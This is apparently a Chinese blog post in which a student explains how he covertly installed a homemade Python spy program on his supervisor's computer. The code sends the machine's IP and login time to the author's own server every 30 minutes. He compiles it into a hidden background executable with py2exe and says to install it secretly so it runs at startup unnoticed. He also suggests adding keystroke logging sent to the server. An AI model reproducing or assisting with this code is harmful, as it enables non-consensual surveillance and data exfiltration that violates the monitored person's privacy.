最近一直待实验室,老板说一直都要来。大夏天的,来一趟大汗淋漓。来了老板也可能不在。所以我打算偷偷写一个脚本装到老板电脑里。
趁着老板不在,我想到把本机的IP信息以及登录时间用一个get方法发送到我的服务器,然后保存在数据库里。
STEP1
# -*- coding: cp936 -*-
import pythoncom
import socket
import requests,time
#获取本机电脑名
myname = socket.getfqdn(socket.gethostname( ))
myaddr = socket.gethostbyname(myname)
def main():
while(True):
try:
r = requests.get('http://picard.sinaapp.com/spyon/?normid=%s&content=%s'%(str(myaddr),'I am using computer at '+time.strftime("%H:%M:%S")))
except requests.ConnectionError:
pass
time.sleep(1800)
main()
先试试效果怎么样。
(view http://picard.sinaapp.com/comment_wall/?page=1/)
STEP2
然后我用py2exe这个库,将python代码编译成了exe文件。
from distutils.core import setup
import py2exe
setup(windows=['hook.py'])
注意在编译的时候setup的参数一定得是windows,这样编译出来的exe,就是后台运行的。
SETP3
最后一步,只要偷偷帮老板装上就行了。因为开机就后台运行,也不占内存。不用担心被发现。由于这个程序每半个小时就会get一次,所以基本上可以知道这个人什么时候上机,上了多久的网。当然如果够缺德的话,你也可以侦测他的键盘按键然后post到服务器上。
从此我过上了愉快的暑假生活。